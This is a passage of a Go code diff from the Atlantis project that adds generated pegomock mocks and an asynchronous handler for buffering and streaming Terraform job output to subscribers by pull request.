VerifyWasCalledOnce() *VerifierMockProjectCommandOutputHandler { + return &VerifierMockProjectCommandOutputHandler{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockProjectCommandOutputHandler) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandOutputHandler { + return &VerifierMockProjectCommandOutputHandler{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockProjectCommandOutputHandler) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandOutputHandler { + return &VerifierMockProjectCommandOutputHandler{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockProjectCommandOutputHandler) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandOutputHandler { + return &VerifierMockProjectCommandOutputHandler{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockProjectCommandOutputHandler struct { + mock *MockProjectCommandOutputHandler + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockProjectCommandOutputHandler) CleanUp(pullInfo jobs.PullInfo) *MockProjectCommandOutputHandler_CleanUp_OngoingVerification { + _params := []pegomock.Param{pullInfo} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CleanUp", _params, verifier.timeout) + return &MockProjectCommandOutputHandler_CleanUp_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandOutputHandler_CleanUp_OngoingVerification struct { + mock *MockProjectCommandOutputHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandOutputHandler_CleanUp_OngoingVerification) GetCapturedArguments() jobs.PullInfo { + pullInfo := c.GetAllCapturedArguments() + return pullInfo[len(pullInfo)-1] +} + +func (c *MockProjectCommandOutputHandler_CleanUp_OngoingVerification) GetAllCapturedArguments() (_param0 []jobs.PullInfo) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]jobs.PullInfo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(jobs.PullInfo) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandOutputHandler) Deregister(jobID string, receiver chan string) *MockProjectCommandOutputHandler_Deregister_OngoingVerification { + _params := []pegomock.Param{jobID, receiver} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Deregister", _params, verifier.timeout) + return &MockProjectCommandOutputHandler_Deregister_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandOutputHandler_Deregister_OngoingVerification struct { + mock *MockProjectCommandOutputHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandOutputHandler_Deregister_OngoingVerification) GetCapturedArguments() (string, chan string) { + jobID, receiver := c.GetAllCapturedArguments() + return jobID[len(jobID)-1], receiver[len(receiver)-1] +} + +func (c *MockProjectCommandOutputHandler_Deregister_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []chan string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]chan string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(chan string) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandOutputHandler) GetPullToJobMapping() *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullToJobMapping", _params, verifier.timeout) + return &MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification struct { + mock *MockProjectCommandOutputHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockProjectCommandOutputHandler) Handle() *MockProjectCommandOutputHandler_Handle_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Handle", _params, verifier.timeout) + return &MockProjectCommandOutputHandler_Handle_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandOutputHandler_Handle_OngoingVerification struct { + mock *MockProjectCommandOutputHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandOutputHandler_Handle_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockProjectCommandOutputHandler_Handle_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockProjectCommandOutputHandler) IsKeyExists(key string) *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification { + _params := []pegomock.Param{key} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "IsKeyExists", _params, verifier.timeout) + return &MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification struct { + mock *MockProjectCommandOutputHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification) GetCapturedArguments() string { + key := c.GetAllCapturedArguments() + return key[len(key)-1] +} + +func (c *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandOutputHandler) Register(jobID string, receiver chan string) *MockProjectCommandOutputHandler_Register_OngoingVerification { + _params := []pegomock.Param{jobID, receiver} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Register", _params, verifier.timeout) + return &MockProjectCommandOutputHandler_Register_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandOutputHandler_Register_OngoingVerification struct { + mock *MockProjectCommandOutputHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandOutputHandler_Register_OngoingVerification) GetCapturedArguments() (string, chan string) { + jobID, receiver := c.GetAllCapturedArguments() + return jobID[len(jobID)-1], receiver[len(receiver)-1] +} + +func (c *MockProjectCommandOutputHandler_Register_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []chan string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]chan string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(chan string) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) *MockProjectCommandOutputHandler_Send_OngoingVerification { + _params := []pegomock.Param{ctx, msg, operationComplete} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", _params, verifier.timeout) + return &MockProjectCommandOutputHandler_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandOutputHandler_Send_OngoingVerification struct { + mock *MockProjectCommandOutputHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandOutputHandler_Send_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, bool) { + ctx, msg, operationComplete := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1] +} + +func (c *MockProjectCommandOutputHandler_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []bool) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]bool, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(bool) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification { + _params := []pegomock.Param{ctx, msg, operationComplete} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SendWorkflowHook", _params, verifier.timeout) + return &MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification struct { + mock *MockProjectCommandOutputHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, bool) { + ctx, msg, operationComplete := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1] +} + +func (c *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []bool) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.WorkflowHookCommandContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]bool, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(bool) + } + } + } + return +} diff --git a/server/jobs/mocks/mock_project_job_url_generator.go b/server/jobs/mocks/mock_project_job_url_generator.go new file mode 100644 index 0000000000..8de1122910 --- /dev/null +++ b/server/jobs/mocks/mock_project_job_url_generator.go @@ -0,0 +1,111 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectJobURLGenerator) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + "reflect" + "time" +) + +type MockProjectJobURLGenerator struct { + fail func(message string, callerSkip ...int) +} + +func NewMockProjectJobURLGenerator(options ...pegomock.Option) *MockProjectJobURLGenerator { + mock := &MockProjectJobURLGenerator{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockProjectJobURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockProjectJobURLGenerator) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockProjectJobURLGenerator) GenerateProjectJobURL(p command.ProjectContext) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectJobURLGenerator().") + } + _params := []pegomock.Param{p} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateProjectJobURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockProjectJobURLGenerator) VerifyWasCalledOnce() *VerifierMockProjectJobURLGenerator { + return &VerifierMockProjectJobURLGenerator{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockProjectJobURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectJobURLGenerator { + return &VerifierMockProjectJobURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockProjectJobURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectJobURLGenerator { + return &VerifierMockProjectJobURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockProjectJobURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectJobURLGenerator { + return &VerifierMockProjectJobURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockProjectJobURLGenerator struct { + mock *MockProjectJobURLGenerator + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockProjectJobURLGenerator) GenerateProjectJobURL(p command.ProjectContext) *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification { + _params := []pegomock.Param{p} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateProjectJobURL", _params, verifier.timeout) + return &MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification struct { + mock *MockProjectJobURLGenerator + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification) GetCapturedArguments() command.ProjectContext { + p := c.GetAllCapturedArguments() + return p[len(p)-1] +} + +func (c *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + } + return +} diff --git a/server/jobs/mocks/mock_project_status_updater.go b/server/jobs/mocks/mock_project_status_updater.go new file mode 100644 index 0000000000..e28a64ee89 --- /dev/null +++ b/server/jobs/mocks/mock_project_status_updater.go @@ -0,0 +1,132 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectStatusUpdater) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + models "github.com/runatlantis/atlantis/server/events/models" + "reflect" + "time" +) + +type MockProjectStatusUpdater struct { + fail func(message string, callerSkip ...int) +} + +func NewMockProjectStatusUpdater(options ...pegomock.Option) *MockProjectStatusUpdater { + mock := &MockProjectStatusUpdater{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockProjectStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockProjectStatusUpdater) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockProjectStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectResult) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectStatusUpdater().") + } + _params := []pegomock.Param{ctx, cmdName, status, url, res} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateProject", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockProjectStatusUpdater) VerifyWasCalledOnce() *VerifierMockProjectStatusUpdater { + return &VerifierMockProjectStatusUpdater{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockProjectStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectStatusUpdater { + return &VerifierMockProjectStatusUpdater{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockProjectStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectStatusUpdater { + return &VerifierMockProjectStatusUpdater{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockProjectStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectStatusUpdater { + return &VerifierMockProjectStatusUpdater{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockProjectStatusUpdater struct { + mock *MockProjectStatusUpdater + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockProjectStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectResult) *MockProjectStatusUpdater_UpdateProject_OngoingVerification { + _params := []pegomock.Param{ctx, cmdName, status, url, res} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateProject", _params, verifier.timeout) + return &MockProjectStatusUpdater_UpdateProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectStatusUpdater_UpdateProject_OngoingVerification struct { + mock *MockProjectStatusUpdater + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectStatusUpdater_UpdateProject_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, string, *command.ProjectResult) { + ctx, cmdName, status, url, res := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], url[len(url)-1], res[len(res)-1] +} + +func (c *MockProjectStatusUpdater_UpdateProject_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []string, _param4 []*command.ProjectResult) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([]command.Name, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(command.Name) + } + } + if len(_params) > 2 { + _param2 = make([]models.CommitStatus, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.CommitStatus) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]*command.ProjectResult, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(*command.ProjectResult) + } + } + } + return +} diff --git a/server/jobs/project_command_output_handler.go b/server/jobs/project_command_output_handler.go new file mode 100644 index 0000000000..ede262de9b --- /dev/null +++ b/server/jobs/project_command_output_handler.go @@ -0,0 +1,351 @@ +package jobs + +import ( + "sync" + "time" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" +) + +type OutputBuffer struct { + OperationComplete bool + Buffer []string +} + +type PullInfo struct { + PullNum int + Repo string + RepoFullName string + ProjectName string + Path string + Workspace string +} + +type JobIDInfo struct { + JobID string + JobIDUrl string + JobDescription string + Time time.Time + TimeFormatted string + JobStep string +} + +type PullInfoWithJobIDs struct { + Pull PullInfo + JobIDInfos []JobIDInfo +} + +type JobInfo struct { + PullInfo + HeadCommit string + JobDescription string + JobStep string +} + +type ProjectCmdOutputLine struct { + JobID string + JobInfo JobInfo + Line string + OperationComplete bool +} + +// AsyncProjectCommandOutputHandler is a handler to transport terraform client +// outputs to the front end. +type AsyncProjectCommandOutputHandler struct { + projectCmdOutput chan *ProjectCmdOutputLine + + projectOutputBuffers map[string]OutputBuffer + projectOutputBuffersLock sync.RWMutex + + receiverBuffers map[string]map[chan string]bool + receiverBuffersLock sync.RWMutex + + logger logging.SimpleLogging + + // Tracks all the jobs for a pull request which is used for clean up after a pull request is closed. + pullToJobMapping sync.Map +} + +//go:generate pegomock generate --package mocks -o mocks/mock_project_command_output_handler.go ProjectCommandOutputHandler + +type ProjectCommandOutputHandler interface { + // Send will enqueue the msg and wait for Handle() to receive the message. + Send(ctx command.ProjectContext, msg string, operationComplete bool) + + SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) + + // Register registers a channel and blocks until it is caught up. Callers should call this asynchronously when attempting + // to read the channel in the same goroutine + Register(jobID string, receiver chan string) + + // Deregister removes a channel from successive updates and closes it. + Deregister(jobID string, receiver chan string) + + IsKeyExists(key string) bool + + // Listens for msg from channel + Handle() + + // Cleans up resources for a pull + CleanUp(pullInfo PullInfo) + + // Returns a map from Pull Requests to Jobs + GetPullToJobMapping() []PullInfoWithJobIDs +} + +func NewAsyncProjectCommandOutputHandler( + projectCmdOutput chan *ProjectCmdOutputLine, + logger logging.SimpleLogging, +) ProjectCommandOutputHandler { + return &AsyncProjectCommandOutputHandler{ + projectCmdOutput: projectCmdOutput, + logger: logger, + receiverBuffers: map[string]map[chan string]bool{}, + projectOutputBuffers: map[string]OutputBuffer{}, + pullToJobMapping: sync.Map{}, + } +} + +func (p *AsyncProjectCommandOutputHandler) GetPullToJobMapping() []PullInfoWithJobIDs { + + pullToJobMappings := []PullInfoWithJobIDs{} + i := 0 + + p.pullToJobMapping.Range(func(key, value interface{}) bool { + pullInfo := key.(PullInfo) + jobIDMap := value.(map[string]JobIDInfo) + + p := PullInfoWithJobIDs{ + Pull: pullInfo, + JobIDInfos: make([]JobIDInfo, 0, len(jobIDMap)), + } + + for _, JobIDInfo := range jobIDMap { + p.JobIDInfos = append(p.JobIDInfos, JobIDInfo) + } + + pullToJobMappings = append(pullToJobMappings, p) + i++ + return true + }) + + return pullToJobMappings +} + +func (p *AsyncProjectCommandOutputHandler) IsKeyExists(key string) bool { + p.projectOutputBuffersLock.RLock() + defer p.projectOutputBuffersLock.RUnlock() + _, ok := p.projectOutputBuffers[key] + return ok +} + +func (p *AsyncProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) { + p.projectCmdOutput <- &ProjectCmdOutputLine{ + JobID: ctx.JobID, + JobInfo: JobInfo{ + HeadCommit: ctx.Pull.HeadCommit, + PullInfo: PullInfo{ + PullNum: ctx.Pull.Num, + Repo: ctx.BaseRepo.Name, + RepoFullName: ctx.BaseRepo.FullName, + ProjectName: ctx.ProjectName, + Path: ctx.RepoRelDir, + Workspace: ctx.Workspace, + }, + JobStep: ctx.CommandName.String(), + }, + Line: msg, + OperationComplete: operationComplete, + } +} + +func (p *AsyncProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) { + p.projectCmdOutput <- &ProjectCmdOutputLine{ + JobID: ctx.HookID, + JobInfo: JobInfo{ + HeadCommit: ctx.Pull.HeadCommit, + PullInfo: PullInfo{ + PullNum: ctx.Pull.Num, + Repo: ctx.BaseRepo.Name, + RepoFullName: ctx.BaseRepo.FullName, + }, + JobDescription: ctx.HookDescription, + JobStep: ctx.HookStepName, + }, + Line: msg, + OperationComplete: operationComplete, + } +} + +func (p *AsyncProjectCommandOutputHandler) Register(jobID string, receiver chan string) { + p.addChan(receiver, jobID) +} + +func (p *AsyncProjectCommandOutputHandler) Handle() { + for msg := range p.projectCmdOutput { + if msg.OperationComplete { + p.completeJob(msg.JobID) + continue + } + + // Add job to pullToJob mapping + if _, ok := p.pullToJobMapping.Load(msg.JobInfo.PullInfo); !ok { + p.pullToJobMapping.Store(msg.JobInfo.PullInfo, map[string]JobIDInfo{}) + } + value, _ := p.pullToJobMapping.Load(msg.JobInfo.PullInfo) + jobMapping := value.(map[string]JobIDInfo) + jobMapping[msg.JobID] = JobIDInfo{ + JobID: msg.JobID, + JobDescription: msg.JobInfo.JobDescription, + Time: time.Now(), + JobStep: msg.JobInfo.JobStep, + } + + // Forward new message to all receiver channels and output buffer + p.writeLogLine(msg.JobID, msg.Line) + } +} + +func (p *AsyncProjectCommandOutputHandler) completeJob(jobID string) { + p.projectOutputBuffersLock.Lock() + p.receiverBuffersLock.Lock() + defer func() { + p.projectOutputBuffersLock.Unlock() + p.receiverBuffersLock.Unlock() + }() + + // Update operation status to complete + if outputBuffer, ok := p.projectOutputBuffers[jobID]; ok { + outputBuffer.OperationComplete = true + p.projectOutputBuffers[jobID] = outputBuffer + } + + // Close active receiver channels + if openChannels, ok := p.receiverBuffers[jobID]; ok { + for ch := range openChannels { + close(ch) + } + } + +} + +func (p *AsyncProjectCommandOutputHandler) addChan(ch chan string, jobID string) { + p.projectOutputBuffersLock.RLock() + outputBuffer := p.projectOutputBuffers[jobID] + p.projectOutputBuffersLock.RUnlock() + + for _, line := range outputBuffer.Buffer { + ch <- line + } + + // No need register receiver since all the logs have been streamed + if outputBuffer.OperationComplete { + close(ch) + return + } + + // add the channel to our registry after we backfill the contents of the buffer, + // to prevent new messages coming in interleaving with this backfill. + p.receiverBuffersLock.Lock() + if p.receiverBuffers[jobID] == nil { + p.receiverBuffers[jobID] = map[chan string]bool{} + } + p.receiverBuffers[jobID][ch] = true + p.receiverBuffersLock.Unlock() +} + +// Add log line to buffer and send to all current channels +func (p *AsyncProjectCommandOutputHandler) writeLogLine(jobID string, line string) { + p.receiverBuffersLock.Lock() + for ch := range p.receiverBuffers[jobID] { + select { + case ch <- line: + default: + // Delete buffered channel if it's blocking. + delete(p.receiverBuffers[jobID], ch) + } + } + p.receiverBuffersLock.Unlock() + + p.projectOutputBuffersLock.Lock() + if _, ok := p.projectOutputBuffers[jobID]; !ok { + p.projectOutputBuffers[jobID] = OutputBuffer{ + Buffer: []string{}, + } + } + outputBuffer := p.projectOutputBuffers[jobID] + outputBuffer.Buffer = append(outputBuffer.Buffer, line) + p.projectOutputBuffers[jobID] = outputBuffer + + p.projectOutputBuffersLock.Unlock() +} + +// Remove channel, so client no longer receives Terraform output +func (p *AsyncProjectCommandOutputHandler) Deregister(jobID string, ch chan string) { + p.logger.Debug("Removing channel for %s", jobID) + p.receiverBuffersLock.Lock() + delete(p.receiverBuffers[jobID], ch) + p.receiverBuffersLock.Unlock() +} + +func (p *AsyncProjectCommandOutputHandler) GetReceiverBufferForPull(jobID string) map[chan string]bool { + return p.receiverBuffers[jobID] +} + +func (p *AsyncProjectCommandOutputHandler) GetProjectOutputBuffer(jobID string) OutputBuffer { + return p.projectOutputBuffers[jobID] +} + +func (p *AsyncProjectCommandOutputHandler) GetJobIDMapForPull(pullInfo PullInfo) map[string]JobIDInfo { + if value, ok := p.pullToJobMapping.Load(pullInfo); ok { + return value.(map[string]JobIDInfo) + } + return nil +} + +func (p *AsyncProjectCommandOutputHandler) CleanUp(pullInfo PullInfo) { + if value, ok := p.pullToJobMapping.Load(pullInfo); ok { + jobMapping := value.(map[string]JobIDInfo) + for jobID := range jobMapping { + p.projectOutputBuffersLock.Lock() + delete(p.projectOutputBuffers, jobID) + p.projectOutputBuffersLock.Unlock() + + p.receiverBuffersLock.Lock() + delete(p.receiverBuffers, jobID) + p.receiverBuffersLock.Unlock() + } + + // Remove job mapping + p.pullToJobMapping.Delete(pullInfo) + } +} + +// NoopProjectOutputHandler is a mock that doesn't do anything +type NoopProjectOutputHandler struct{} + +func (p *NoopProjectOutputHandler) Send(_ command.ProjectContext, _ string, _ bool) { +} + +func (p *NoopProjectOutputHandler) SendWorkflowHook(_ models.WorkflowHookCommandContext, _ string, _ bool) { +} + +func (p *NoopProjectOutputHandler) Register(_ string, _ chan string) {} + +func (p *NoopProjectOutputHandler) Deregister(_ string, _ chan string) {} + +func (p *NoopProjectOutputHandler) Handle() { +} + +func (p *NoopProjectOutputHandler) CleanUp(_ PullInfo) { +} + +func (p *NoopProjectOutputHandler) IsKeyExists(_ string) bool { + return false +} + +func (p *NoopProjectOutputHandler) GetPullToJobMapping() []PullInfoWithJobIDs { + return []PullInfoWithJobIDs{} +} diff --git a/server/jobs/project_command_output_handler_test.go b/server/jobs/project_command_output_handler_test.go new file mode 100644 index 0000000000..1a925f1910 --- /dev/null +++ b/server/jobs/project_command_output_handler_test.go @@ -0,0 +1,254 @@ +package jobs_test + +import ( + "sync" + "testing" + "time" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/jobs" + 